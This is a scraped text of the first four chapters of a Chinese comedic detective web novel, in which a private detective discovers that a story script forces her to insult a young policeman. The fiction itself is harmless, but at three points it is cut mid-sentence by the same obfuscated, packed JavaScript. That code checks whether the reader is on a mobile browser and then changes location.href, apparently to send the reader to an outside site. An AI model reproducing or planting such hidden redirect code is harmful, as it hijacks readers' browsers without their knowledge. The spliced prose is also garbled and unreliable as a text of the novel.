《摆烂侦探万人迷》 1. 第 1 章 陈定言从午觉中醒来。 昨天的情形像放电影一样从她脑海中闪过。 她在床上咸鱼翻了个身,换了个面煎,整个人都不得劲地用拳头捶了一下床垫,嗷了一句:“我真该死真该死。” 正在厨房里翻箱倒柜找食材的男人听到动静,大步走到卧室门口,瞄了一眼床上蛄蛹的家伙,用手里的胡萝卜敲了敲门框。 他穿着小V领薄毛衣,露出一小片锁骨,眉眼冷冽,甚至透着一股戾气,臂弯却搭了一条极不搭界的围裙,还没来得及穿上。 陈定言从被窝里探出一个脑袋来:“你什么时候来的?” 【裴勉知,一起长大的竹马。】 裴勉知举起手里的胡萝卜:“皮都皱了,多久没去买过菜了?” 陈定言狡辩:“不是,胡萝卜是卖菜的阿姨送的,我也不好意思扔掉阿姨的一片心意。” 裴勉知终于放下那个皱巴巴的胡萝卜,用命令式结束了这段对话:“不管怎么样,起床。” 陈定言看了一眼时间,下午四点。 她磨磨蹭蹭地起床。 等她衣冠整齐地在餐桌前坐好等待眼前出现晚饭时,已经是下午四点四十分。 裴勉知把手撑在餐桌上,看着她冷笑一声:“你家里只有罐头、零食和方便面,你觉得能天降晚餐吗?” 陈定言有理有据地反驳道:“我以为你特地在晚饭时间来我家,是已经准备好所有东西了。” 裴勉知也不和她多争辩,抓起她:“去买菜。” 她用手攥住桌角,做出拔河的姿势:“我严正声明,我今天不出门。” 裴勉知想起刚才她那个动静了,开启审问模式:“昨天发生什么事了?在外面丢人了?” 陈定言说到这件事还是觉得头疼。 “昨天,我在一个很简单的案子上栽了个跟头。”她试图以冷静的语气说出这句话,但失败了,脸上露出了相当扭曲的表情。 被当事人一家请去调查真相的大侦探陈定言,居然输给了这片区新来的警官。 最关键的是,她狠话说出去了,信誓旦旦的,结果却错了。 裴勉知说风凉话:“都叫你在出结果前别说大话了。” 她伸出一根手指头,维持自己最后的体面:“但这是我第一次出错。” 她怎么会做出那种事? 她甚至觉得她那时根本是鬼上身了,不然怎么会智商下跌那么严重。 她的语气里多少带了点痛心疾首:“我现在回想起来,根本就是很简单的诡计,我怎么会被蒙蔽了心眼,我的脑子没了吗?” 裴勉知松开了抓着她衣服的手,面无表情地道:“既然在外面丢人了,那就待在家里,做什么都可以,不准再回去睡觉。” 她也松开了桌角,一副命很苦的样子:“……谢谢你体谅我。” 那个新来的警官,叫什么孟行霄的。 她一看他就不顺眼。 不知道为什么,莫名其妙地就讨厌他,莫名其妙地就想和他作对,莫名其妙地就想拆他的台。 这种厌恶已经是非理性的冲动了。 裴勉知出门后,陈定言扑到床上,喃喃地道:“我不理解。” 她觉得自己脑子一定是哪里坏掉了,不然怎么会见到那个警官就断档、掉链子。 痛定思痛。 两分钟后,陈定言掀开了被子。 虽然她刚才还答应裴勉知不会再回去睡觉了,但是情况有变,她现在心情值狂掉,只能回新手村回一下血条。 嗯,就是这样。 她麻利地钻进被窝,拉起被子盖到下巴处,想象自己现在成为了一具尸体,被抬上担架,盖上白布,安详地送进车里。 睡意来得特别快。 …… 公交车一个刹车。 孟行霄从困倦的状态中惊醒过来。 座位有点窄,他不得不侧着坐,把自己挤进位置里,膝盖顶着前面的座位。 他抬头看了一眼公交车前部的屏幕,用手扶住旁边的扶杆,弯着腰起身,这才把双腿从座位间抽出来。 公交车停稳后,孟行霄下车。 家就在附近,他快步迈上一段外置楼梯的台阶,开门进屋。 屋内的家具和物品都满满当当的,挤在一起,让走路的空间显得格外狭窄。 “小霄,你回来了?”里屋传来外婆的声音。 孟行霄走进里屋,弯着腰以免头撞到门框,看向屋内:“我来拿点东西,还要回去,今天是我值班。” 外婆一手扶着柜子,一手正从抽屉里找着什么:“还要去?你这警察当得比保安还忙。” 孟行霄没有反驳:“嗯。” 他走到柜子边,拉开另一个抽屉,拿出药膏,递给外婆。 外婆接过:“我就是要找这个。” 她今天早上扭了一下脚,好在伤势不重,只需要贴贴膏药就差不多了。 “小霄,你要是顺路的话,帮我送一点东西去……算了,我改天自己去。”外婆说着说着,改变了主意。 “我不忙。”他说。 外婆在床沿坐下,指了指外屋:“把鸡蛋给那位小姐送过去吧,上次真是多亏了她。” 在两天前,外婆被诬陷偷拿了一个女人的金链,被扭送到警局,好在那天警局中有一位侦探,三言两语就指出了女人说辞中的破绽,这才让外婆平安回来。 孟行霄点头:“好。她的地址姓名知道吗?” 外婆想了想:“我有名片,她说以后有事可以找她,她给了我名片。” 孟行霄找到了那张放在抽屉里的名片,看了一眼: 定言调查事务所。 陈定言。 他对这个名字有印象,昨天那起豪门继承人案中,在场的那个侦探。听说是在谋杀案没有发生前,特地请来调查诡异事件的。 他记好地址,把名片收在皮夹里,拿了东西出门。 …… 陈定言睁开眼醒来,看了一眼时间。 距离她重新躺下睡觉才过去了五分钟。 她的心率快得不正常,明明才闭眼休息五分钟,但好像过了半个世纪一样。 果然午觉还是不能睡太久,早知道就听裴勉知的了。 她翻身下床。 喝了点水后,她拆开家里最后一包薯片给自己压压惊。 她好像做了梦。 一个荒唐又真实得可怕的梦。 梦中的主角并不是她,而是昨天遇到的那个新人警官孟行霄。她梦到了孟行霄从小到大的生活片段。 孟行霄从小倒霉运特强,连带着人缘也不太好,但是拥有敏锐的观察力和聪明的头脑。因为倒霉,总是和升职失之交臂,一直在做片区警察,却是一绝的警探。在侦查案件时,总有瞧不起他的人,但总会被他用实力和智商赢过。 梦境真实是因为有太多细节了,荒唐是因为—— 陈定言就是其中一个瞧不起他、和他作对的自大狂配角,身份是有名的侦探。 短短五分钟时间,是怎么会梦到那么多东西的?简直太荒唐了。 偏偏她又记得很清楚:尤其是梦里她丢人的场面。她遇到孟行霄便智商骤降、颜面尽失,还不甘心地一而再再而三地主动挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502936|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衅。 回想至此,她有点受不了,端起水杯猛猛喝水,平复心情。 不可能是真的! 她不可能是这种不理智的家伙,虽然要面子了一点,但是不可能心浮气躁地对待案子,更不可能把案子当成沽名钓誉的手段。 只是该死的鬼压床而已。 孟行霄那么拽,他难道是龙傲天男主不成?就算是龙傲天男主,也没有那么倒霉的一款啊。 陈定言嚼着薯片,用咀嚼动作让自己的脑子更加清醒。 对了,她还记得梦里孟行霄找上门来送她鸡蛋,结果被她狠狠羞辱的片段。 这种事发生的概率太低了,孟行霄怎么会来送鸡蛋?所以这个梦一定是假的。 一定是假的。 她吃完了一袋薯片,还是觉得不得劲,漫长的梦和细节的画面让她无法将自己从这个属于孟行霄的故事中抽离出来。 陈定言决定去外面走走,散散心。 距离裴勉知离开才过去了那么几分钟,现在追上他应该还来得及。 她戴上帽子,拿好钥匙,一边打电话一边出门。 “裴勉知,你在哪里?我良心发现出来买菜了,给我发个定位,我三秒后赶到。” 电话那头,裴勉知冷笑道:“良心发现?是不是最后一包零食被消灭了,所以出来扫荡?” 连最后一包零食被吃了这件事都被发现了。 她有点惊叹:她怎么感觉裴勉知有当侦探的潜质。 陈定言扶着帽檐,向周围看了一圈,心虚:“没有的,我都没带扫荡用的背包和袋子,是空手出来的。你快点把定位发给我!” 裴勉知:“就在你家附近的那个超市,三秒之内赶到,这是你自己说的。” 她在人行道这边停下,人行道口亮着红灯。 “三秒还是有点为难我了。” 正说着,她看向人行道对面马路,却在行人中见到了意料之外的人。 “孟行霄……” 她差点以为自己睡懵了,努力辨认了一会儿才确认那真的是孟行霄。 新人警官孟行霄穿着便服夹克,高大的身量和出挑的眉眼在行人中一眼便能认出,而他手上拎着一袋鸡蛋。 梦中的场面和眼前的场景重叠。 发麻的感觉直冲天灵盖。 电话那头,裴勉知还在问她:“谁是孟行霄?” 陈定言看着红灯口跳动的秒数,几乎有一种想逃的冲动。 送鸡蛋?不会吧,真的过来送鸡蛋? 更糟糕的是,她忽然想起来了,梦里孟行霄是外婆抚养长大的,如果仔细回忆长相的话,孟行霄的外婆正是前天她在警局遇到的那个被诬陷偷东西的老婆婆。 也就是说,孟行霄现在送鸡蛋,是他外婆的委托,确实是送给她的。 裴勉知:“怎么了,陈定言,你怎么不说话?” 人行道口,绿灯亮起。 陈定言站在原地没有动,眼睁睁地看着马路对面那个青年穿过马路朝她走来。 【孟行霄,就是我跟你说过的那个让我丢面子的家伙,我下次见了面一定要羞辱他一顿!】 强烈的冲动让她想说这句话。 这是台词。 她反应过来。 这是那个荒唐的梦里既定的台词。 她想跑,但脚下像生了根一样。 鬼上身的感觉再次到来。 她手里还握着手机,脱口而出:“……孟行霄,就是我跟你说过的那个让我丢面子的家伙,我下次见了面一定要羞辱他一顿。” 孟行霄穿过马路,正好走到她面前。 2. 第 2 章 死嘴,怎么会说出来的? 陈定言说完那句话,火速捂住了自己的嘴巴,另一手把电话挂了,手机塞进口袋里,又压了压帽檐,试图从孟行霄眼前遁走。 她知道一定有什么事不太对劲。 似乎有某种力量控制着她的言行,让她在某些时候说某些话做某些事情。 这就是为什么昨天那个案子中她会突然变得愚蠢又狂妄。 她左脚刚迈了一步准备逃走。 手腕却被抓住了。 隔着卫衣袖子,孟行霄牢牢扣住了她的手腕,力道不大,但也不小:“你等一下。” 一瞬间,陈定言的头脑飞速运转。 她现在是不受控制的危险状态。 已知她会根据“台词”乱说话,所以嘴巴一定要锁好封死。 她一只手死命地按紧嘴巴。 但她不知道除了乱说话外,她会不会乱做动作。 【陈定言接过那袋鸡蛋,脸上的神色却变得轻蔑,手指一伸,袋子砸落在了地上,其中的鸡蛋碎了一半。】 已知接下来的剧情是她砸了那袋鸡蛋,以防万一,她绝对不能碰那袋鸡蛋,不碰那袋鸡蛋的办法只有一个,就是她的两只手都被占据。 一定要躲过砸鸡蛋剧情。 她那被抓住手腕的手反手一握,反过来紧紧抓住了孟行霄的手腕。 孟行霄愣了一下,本来想说的那句话暂时收回去,他的目光垂下去,落在两人互相牵制着的手上。 他的睫毛颤动了一下。 几秒后,他才把原来那句话重新说出来:“谢谢你帮我外婆的忙,这是给你的鸡蛋。” 陈定言捂着嘴巴,无意义地“唔”了两声:放下鸡蛋松开手,你让我走! 孟行霄见她捂着嘴巴不说话,微微侧过脸察看她的情况。 陈定言攥紧了他的手腕,咬牙切齿地在心里呐喊: 你让我走!你让我走! 此时,她意识到了有些地方产生了矛盾:她攥着他,又无法说话,想让他松手是很难的。 她开始思考第二个议题。 最重要的是不能砸碎孟行霄送来的鸡蛋,如果砸碎了鸡蛋那么她真是万劫不复了。这样来算的话,即使说话很难听,还有可以挽回的余地。 她下定决定,松开捂着自己嘴巴的手,为了阻止这只手也被剧情控制乱来,她立刻再次抓住他的手腕。 “孟行霄,”她恶狠狠地道,“你觉得你可以用这个来羞辱我吗?” 孟行霄无法理解。 她整个人都在用尽全力靠近他,用两只手紧紧抓住他的腕部,但嘴上却骂得厉害。 他有点搞不懂她到底在想什么了。 “不要以为破了一个案子就可以沾沾自喜,你要学的东西还多得很。” 陈定言气急败坏,她实在控制不了自己说台词的嘴,只能咬紧牙关控制自己罪恶的双手。 “你给我放手,然后把你的鸡蛋拿走。” 剧情疯了吧。 为了让倒霉熊龙傲天男主被嘲讽然后打脸打回去,她这个配角的牺牲也太大了。 大马路上和孟行霄拉拉扯扯吵架,她不要面子的吗? 陈定言的内心暗暗地崩溃了。 孟行霄拎着鸡蛋袋子的手松开,把袋子放在了地上。他的表情很平静,似乎听不到她的言语一样。 他腾出来的那只手去拆她死死抓住他的手,解释道:“该松手的是你。” 陈定言一看他把鸡蛋袋子放下了,松了一口气。 剧情里只有她接过袋子后将鸡蛋袋子砸在地上的画面,没有用脚踩鸡蛋、踢鸡蛋。 那么现在砸鸡蛋的剧情大概躲过去了。 她像触电一样松开他,拔腿就跑:“你可以走了,不要来找我。” 孟行霄站在原地,有些发怔。 他一向人缘都差,被排斥是常见的事,但他从没遇到过这种情况。 …… 陈定言逃脱了地狱般的剧情控制,二话不说一路跑回家。 像外面有恶鬼追杀一样,她冲进屋里立刻重重地关上门,锁好。 “呼……太恐怖了。”她靠在门背后,气喘吁吁的。 这就是传说中的“被剧情控制”了吗? 她耗尽意志力才做到这种程度,最后还是说了很坏的话。 所以说,梦是真的。 更核心的是,孟行霄会变成“人缘差”“倒霉”的人设,并不是因为天生讨人厌,而是因为世界意志控制着其他人的言行和喜好,甚至控制着他的幸运值。 怪不得她一见面就对孟行霄有种莫名其妙的厌恶感。 陈定言双手扶着太阳穴,在屋里焦虑地走来走去。 最糟糕的情况并不是发现世界的bug,而是发现自己也被世界的bug控制着。 她不受控制地往外蹦台词,唯一的办法是物理静音。 同时她不由自主的动作也需要用巧妙的手段来阻止。 等到稍微冷静下来了一点,陈定言这才发现贴着裤兜的手机正在拼命振动着。 她摸出手机一看,是裴勉知的夺命连环call。 “那个,刚才挂掉了真抱歉。”她接通电话。 电话那头,裴勉知一个问题接着一个问题地往外抛:“怎么了?孟行霄是怎么回事?你遇到他了吗?我回来了。” “回来了?”陈定言走到窗户边张望,“事情我等会跟你讲。如果你在门口遇到一个长得不错的男的就留意一下,他要是非要送鸡蛋就收下鸡蛋。” 因为送鸡蛋是外婆的委托,她怀疑孟行霄还会把鸡蛋送过来。如果裴勉知能帮忙,那是最好的结果。 她说着话,拉开窗户,扫视的时候却停下了话头。 她口中那个“长得不错的男的”就站在她家门口,弯下腰,在门口放下了那袋鸡蛋。 孟行霄也注意到了她,抬起头和她对视了几秒,转身走了。 见陈定言沉默,电话那头的裴勉知再次连环提问:“又卡壳了?那个人找上门来了?需要帮忙吗?” 她反应过来,闷声道:“……不需要帮忙,他就是来送个鸡蛋,现在走了。” 送个鸡蛋,搞得像送核/弹一样。 这剧情也是够闹心的。 男主闹心,她这个自大狂配角也闹心。 她现在已经自动把和孟行霄有关的一切归结到了有着剧情走向的剧本中。 在那个剧本中,孟行霄是男主,而陈定言——她就是走个过场,专程给男主提供打脸爽文高光的配角。 裴勉知回到家,他把购物袋放在一边,一样一样地把东西拿出来放在桌上,脸色阴沉:“我没见到那个人,他对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502937|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你做了什么?” 他的语气向来冷漠凶狠,但这次,陈定言莫名觉得他在生气。 似乎……好像…… 她观察了一下裴勉知的表情。 浓眉下压,眼睛微微眯起,眸光锐利,露出些杀气来,嘴角紧绷。 裴勉知对孟行霄的恶意好像比她还大。 大概又是世界意志吧,倒霉蛋万人嫌男主是这样的,随随便便一个理由、甚至没见过面也能被别人厌恶。 她摸了摸后脑勺:“上次我帮了他外婆一把,他上门来送鸡蛋。我看他不顺眼,主要是昨天案子里让我丢人了,然后我就关掉电话,臭骂了他一顿!” 裴勉知冷哼了一声,没再说什么。 吃晚饭的时候,陈定言问起了裴勉知:“你怎么突然来了?叔叔家里出了什么事吗?” 裴勉知瞥了她一眼:“没事我就不能来吗?” 她点头:“也是,我都把钥匙给你了,欢迎田螺小伙随时过来。” 别看裴勉知现在这副超级S的样子,其实小时候性格软乎得要命。因为家里有钱,裴勉知身上零钱比一般同龄人多,学校里的小恶霸便逮着他这只肥羊宰。 裴勉知实在哭得不行,找到了她这个比较善良的学校魔王做赏金猎人,两百块一次,帮他消灾。 学校七大传说中,魔王陈定言有无穷无尽耍人的计策,一旦被她盯上,就会过得生不如死。 次次都能完成“完美犯罪”的陈定言把那群抢钱的小混混学生当猴耍,两三次下来,那群人平时走路都避着她。 为了自己的安全,裴勉知就跟在她身后,狐假虎威地抓住她的衣角,跟着跟着,就成了一起长大的朋友。 性格底色偏向邪恶的陈定言自然是不适合做警察的。 她也想过,她要是做了警察,一定会天天被抓去上级办公室喝茶。 于是她选择做私人侦探。 在租下这栋店面楼时,裴勉知这个氪金玩家帮了她不少,抢到了这栋楼。于是她拥有了作为店面的侦探调查事务所一楼,作为私人住房的二楼。 她不想欠裴勉知钱,楼房是她自己贷款买的,每个月需要还房贷。 要尽快摆脱这种还房贷的可怜虫生活,唯一的办法就是把事业做大做强。 因此,陈定言致力于把自己的侦探名气打响。 而现在,孟行霄的出现似乎让这一局面失去了平衡。 她绝对要想办法,不能让剧情中那些可怕的场面发生。 ——不然她的房贷怎么办。 为了避免以后再次出现这种身不由己鬼上身的桥段,陈定言默默在心里做好了计划: 1、以后见到孟行霄第一件事是跑。 2、跑不掉就拿胶带或者食物封上嘴巴。 3、嘴巴封上以后,手脚也得控制一下,免得一个爆冲失态。 4、近期尽量少接有可能涉及凶杀案的委托,等她适应了应付孟行霄的模式再接。 做完计划,陈定言轻松了不少。 她翻了翻手头还没做完的委托:婚外情调查委托一个。 很好,在安全范围内。 “你明天去调查这个婚外情委托?”裴勉知坐在她旁边。 她语气深沉地道:“是的,最近我想专攻这个方向。” 这下应该不会遇到孟行霄了吧。 3. 第 3 章 次日上午九点,陈定言全副武装地出门跟踪目标。 目标是某银行职员崔志骏。 崔志骏的妻子怀疑他在外面有了小三。 中午十二点,陈定言一边远程观察目标一边吃午饭。 下午三点,陈定言进入银行内办理业务,确定和目标互动过密的女同事印蓉蓉,并把印蓉蓉作为第二目标。 下午六点,陈定言跟着第二目标进入餐厅吃饭。 下午六点十五分,陈定言用小计谋成功让印蓉蓉主动取出手机壳夹在背面的那张拍立得照片,并看到了拍立得上印蓉蓉和崔志骏的情侣合照,确认照片上手写的拍摄时间在第一目标婚后、妻子怀孕期间。 下午七点二十分,陈定言和委托人崔志骏的妻子见面,把资料给她看。 “如果你是想进一步准备离婚,我可以继续调查,取得在法庭上更具说服力的证据。你可以先考虑,不急着决定。” 委托人拿着那份资料沉默了好久,才道:“不用了。” 陈定言尊重每个人的选择。 她站起身:“既然这样,那就到这里。东西我只留一份给你,其他都会销毁,不会外流。” 婚外情调查委托,结束。 次日。 没有接到委托的陈定言在家里闲着。 她看着银行账户上的钱,念了几遍数字,长长地叹气。 “怎么了?昨天没赚到钱?”裴勉知靠着沙发,手里拿着平板划拉。 她继续叹气:“赚到了,但还是觉得少。今天上天也应该给我赚到钱才是。” 裴勉知的目光依然落在平板上,随口道:“我在你家租个房间,每月给你付租金。” 陈定言一骨碌从懒人沙发上爬起来。 她心动得要命,但是嘴比拳头都硬:“那不行,我们纯洁的友谊会因为金钱变质的。” “嗬。”回答她的是裴勉知的冷笑。 她有理有据:“我把我家钥匙给你,是因为我们多年以来的友谊和信任。你突然说要在我这里租个房间,还挑在了我说我没钱的那个时机提出来,这不是摆明了白白给我送钱吗?不行,这样不行的,我虽然比你穷一点,但是不可以白拿你的——” 裴勉知打断她絮絮叨叨的话:“我住过来。” 陈定言的话噎住了。 她脸上的表情僵硬地变化着,做决定的心蠢蠢欲动。 裴勉知冷漠地道:“一楼就是调查事务所,很不安全。如果你有仇家,他们很快就能找到你,趁你半夜睡觉暗杀你。” 陈定言小声:“确实不安全。” 裴勉知扯了扯嘴角:“我绕老大远路过来给你做饭,免得你饿死,我也觉得累。” 陈定言更加小声:“确实累。” 裴勉知掀起眼皮瞥了她一眼。 陈定言从懒人沙发上蹿起来:“就这么决定了,从今天起我是尊贵的房东了,你可以用做饭来填上一部分房租。我按市价租给你,我这就去拟合同。” 说实话,安全问题她的确考虑很久了。 她一直在找室友。但是她的性格太魔王了,又喜欢随心所欲,尤其不想在家里还端着,所以很多一般般的朋友都pass掉了。另外两个关系好的女性朋友:一个爱干净到疯魔的程度,不愿意和她住,另一个和男朋友同居。 合适且信任的室友只有裴勉知。 但她怎么可能主动提出来?即使她和裴勉知从小一起长大,关系好得黏黏糊糊,她也不可能主动提出来。 这种问题的界线太微妙了。 现在裴勉知提出来了。 她放心了。 双方签了合同后,陈定言就开始做腾出房间的计划。 二楼的次卧就交给裴勉知了。 遇上赚钱的事,陈定言就变得行动力超强。 当天中午她就打扫完房间,开始催促裴勉知:“租客先生,我是按无家具/暖租的标准市价租给您的,如果你要在一周内搬进来,请您尽快安排好搬家或者买家具的日期。” 裴勉知打了个电话,挂掉电话后看向她:“等会就送过来了,今天就搬进来。” 陈定言:“……” 氪金玩家真是可恶啊。 下午,没有接到委托的闲人陈定言独自晃晃悠悠地带着包出门采购。 超市正在搞活动,对比色强烈的公告牌上硕大的字写着:当天购物满100元可获抽奖机会,每超过50元增加一次抽奖机会! 陈定言打开手机备忘录,瞄了一眼记下的待买生活用品,大致算了一下价格,加起来并没有很多,最多最多到80元。 她心一横,在备忘录上加上了好几个待买项目:不行,今天一定得买到金额才行。 在货架间穿梭的时候,她眼前一晃,脑瓜子一下子“嗡”的响起来。 她好像看到熟人了。 陈定言有着多年跟踪、隐藏身形的经验,她迅速地闪人躲到了货架背后,没有探出头,而是小心翼翼地拿出手机,“咔擦”拍下那个人的照片。 她收回手,看到手机上偷拍的照片:果然是认识的人,而且是她最不想见到的人。 照片上,孟行霄正在打电话,另一只手上是空的,还没有买任何商品,他走过超市的通道间。 陈定言感到上次那种被剧情控制的恐惧心情再次浮上来。 她靠在货架后,看了一眼购物篮里已有的东西,深呼吸几口气。 没关系,反正应该已经到抽奖金额了,就这样凭借多年的技巧娴熟地躲过去,迅速离开超市。 她这样想着,再次朝孟行霄的方向看了一眼。 确认没问题后,她像特工一样踩着点位奔向收银台。 “您的消费金额已经到达100元,有一次抽奖机会,可以在那里的服务台进行抽奖。”收银员按惯例道。 陈定言拿着购物小票来到服务台,前台的服务员机械地念道:“奖品列表在这里,一等奖是一台冰箱。” “我们这个抽奖是非常公正的,不会做任何手脚,所以没有采取线上抽奖,如果你要检查我们的转盘……” 服务员还没念完台词,陈定言已经转动了服务台上的实体转盘。 指针转过几圈后,慢慢停留在“安慰奖”上。 “恭喜您中了安慰奖!奖品是一瓶辣椒酱,请您这边领取。”服务员脸上堆叠出僵硬的笑容。 陈定言有点失望。 不是说安慰奖是抽纸吗?怎么是辣椒酱? 她严重怀疑超市卖不掉那种辣椒酱,放到抽奖活动里充数。 她想了想,坏心眼地凑近服务员,小声叮嘱道:“奖品我不拿,现在请你帮我一个忙。” 服务员那张因为念多了台词而有些麻木的脸上终于出现了一丝裂痕:“诶?不拿吗?您不喜欢辣椒酱吗?” “不是。因为我有一个朋友,他从来没抽到过奖,所以我给他抽个奖,当作是他自己抽到的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502938|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈定言拿出手机,把那张偷拍下来的孟行霄的照片拿给服务员看。 服务员凑过来看。 陈定言这个大忽悠语速飞快地道:“这是我的朋友,他现在也在超市里,麻烦你,等会如果看到他过来结账的话,不管他有没有消费到金额,都拉住他跟他说抽到奖了,然后把这个安慰奖给他。” 服务员愣了一下,有些犹豫。 陈定言没有时间跟她解释了,一个弯腰大鞠躬表示感谢:“小小的心愿,谢谢,真的谢谢!” 服务员立刻露出了会意的表情,这会儿语气也不像刚才那样僵硬了,真情流露地道:“当然,我保证会把您的心意传达给您的朋友的!” 陈定言出了超市,这才松了一口气。 她背着背包慢慢走回家。 途中,她再次拿起手机,看了几眼刚才偷拍的那张照片。 孟行霄长得是真的无可挑剔,皮相好,骨相也好,气质也好,就刚才她胡乱偷拍的这张照片,都硬生生给他照出了氛围感。 氪金玩家裴勉知是很可恶没错。 但是毕竟裴勉知的钱也有一部分流到她口袋里了,她完全可以原谅。 天道玩家孟行霄才是真的招人嫉妒。 不过,要是不站在“被剧情控制的配角”这个立场上来思考的话,孟行霄还是怪倒霉的。 孟行霄的父母离婚,他被分给了母亲,而后母亲自杀,外婆独自抚养他长大,后来外婆又被杀…… 等等。 孟行霄的外婆被杀? 陈定言停下了脚步。 她忽然想起来梦中的剧情,孟行霄的外婆被杀就在这几天吧?外婆被诬陷偷金链子之后,过了没多久就被杀了。 要帮他吗?或者说,能帮他吗?她有能力改变剧情吗? 陈定言心里有点乱,她一口气跑回家,打开冰箱的时候又看到了那袋鸡蛋。孟行霄的外婆送过来的鸡蛋。 陈定言关上冰箱。 这是她和外婆之间的事,和孟行霄无关。更进一步说,这是她作为“配角”的自由意志。 …… 超市。 孟行霄买了该买的物品,来到收银台结账。 收银员一边慢吞吞地扫物品,一边悄悄打量他,扫到一半,收银员停下动作:“你等等哈,我有事跟我同事聊两句。” 孟行霄没有在意,在收银台边等着。 收银员走到服务台边,小声问前台服务员:“喂,这是你说的那个吧?” 前台服务员瞄了瞄那边的孟行霄:“是的是的,就穿这衣服,没错,能长这么帅的也没几个了吧?” 收银员点头:“那我说了哦。” 收银员小跑回到收银台,扫了所有物品,结账后道:“这位顾客,请您去一下那边服务台,有事要找您。” 孟行霄有点困惑,他按照要求走到服务台边。 “恭喜您中奖了!您的订单编号是我们今天定下的秘密幸运编号之一。这是您的奖品!”服务员笑得满脸灿烂,把好不容易编出来的理由说得天花乱坠。 孟行霄脸上的表情却凝重起来。 不可能。 他长这么大,连“再来一瓶”都没买到过,只要是概率性质的,他就没赢过。 他不可能会中奖。 天塌下来了都不可能的。 一定有阴谋。 他压低声音,皱起眉:“是谁让你这么说的?” 4. 第 4 章 陈定言正式决定尝试着突破剧情。 第一件事是找到孟行霄和他外婆住哪。 她打开电脑,在椅子上放好护腰枕头,调整心情坐到书桌前,几秒后忽然反应过来她现在对孟行霄的了解基本上只来自那个剧情梦。 她开始怀疑自己是不是要往通灵侦探的方向狂奔。 陈定言绞尽脑汁回忆梦里的画面,就差搬出六个核桃给自己助阵。 1、孟行霄仍然住在老街,外公留下的老房子内。 2、从某个场景画面内可以看到周围街坊邻居的房子中有一家招牌上写着“专业埋发”,理发的“理”写成了“埋”。 3、孟行霄平时回家坐的公交车是186路。 她一边回忆,一边把这些线索写到纸上。 写得差不多了,她满意地扫了一眼自己的杰作,小小声夸自己:“超绝记忆,超绝信息提取能力,厉害厉害。” 那个梦只有五分钟,但对于她来说却很细致,在她面前上演了孟行霄的整个职业生涯传记。 根据这些已知线索,陈定言打开电子地图,找到186路公交线,一个一个站点找过去,筛选出老街,再根据理发店的位置和卫星街景地图,很快就找到了孟行霄家的地址: 浦海九街34号-37号之间。 找到地址后,陈定言便带上装备、穿上外套出门。 事务所外停着一辆小型货车。 搬家工人正忙着把家具往下搬。那是裴勉知的家具。 裴勉知见她出门,问了一句:“有委托?” 她点头:“对的。” 裴勉知看了一眼时间:“时间有点晚了,早点回来。” 陈定言的语气里没有往日那种“让我在外面有点夜生活怎么了”的不甘。这次她回答得相当豪气:“那是当然。” 陈定言的打算是在孟行霄家门口安置一个摄像头,以便观察歹徒什么时候来、外婆什么时候出门。 放好摄像头,她就是用飞的也得飞回来。 她一点都不乐意和孟行霄打交道。 陈定言从附近的地下停车场把自己的车开出来,一路往浦海九街。 浦海九街不宽,主要是被放满了乱七八糟的物件,包括但不限于乱停放的车。 她作为侦探,习惯了不让自己暴露,便把汽车停在了偏僻的岔路上,步行往34号-37号的方向。 根据推算,她在二十分钟前,在她家附近的超市里遇到孟行霄,孟行霄会在那里买东西一定是因为有什么特殊任务,一时半会儿回不来。 所以她的处境是安全的。 周围偶尔走过的路人大声用方言交谈着,街道的另一头隐隐约约传来炒粉的香气,她忍不住嗅了嗅。 34-37号,到底那栋楼才是孟行霄的住址? 陈定言仰起头,看向三栋并排的老式小楼。 天气不错,阳台上都晾着衣服。 这就好办了。 她扫了一眼三栋楼阳台上晾在外面的衣服,锁定了34号,那里晾着白衬衫、藏青色的高领毛衣等年轻男子的衣服。 一楼租给了一家修鞋店,这会儿关着店。通过一段外置铁楼梯通向二楼。 陈定言走上外置铁楼梯,打开摄像头开始录像的同时敲了敲门。这是预防意外,以免被诬陷。 她要先确定外婆的安全。 屋里传来外婆的声音:“来了!等一等。” 过了一会儿,门开了。 外婆见到她的时候首先露出了诧异的表情,然后笑了起来:“是你啊,你怎么来了?” 陈定言注意到外婆的脚走起路来有点不自然,应该是崴了一下,外婆手里还捏着一颗珠子,大概外婆在屋里做串珠的活儿。 她笑道:“没事,我来看看您,谢谢您的鸡蛋。” 外婆名叫杨满君,平时风湿病就有点严重,这几天脚踝扭伤,走路更加不方便。 陈定言扶着外婆进屋,一面和她寒暄着,一面观察这个家。 很难想象孟行霄居然会挤在这么小的一个空间内长大。她能想象到他长手长脚的在这里做什么事都不方便。 “外婆,我给你带了这个,你可以挂在家门口,孟行霄推开门回家的时候,你就可以听到风铃声了。” 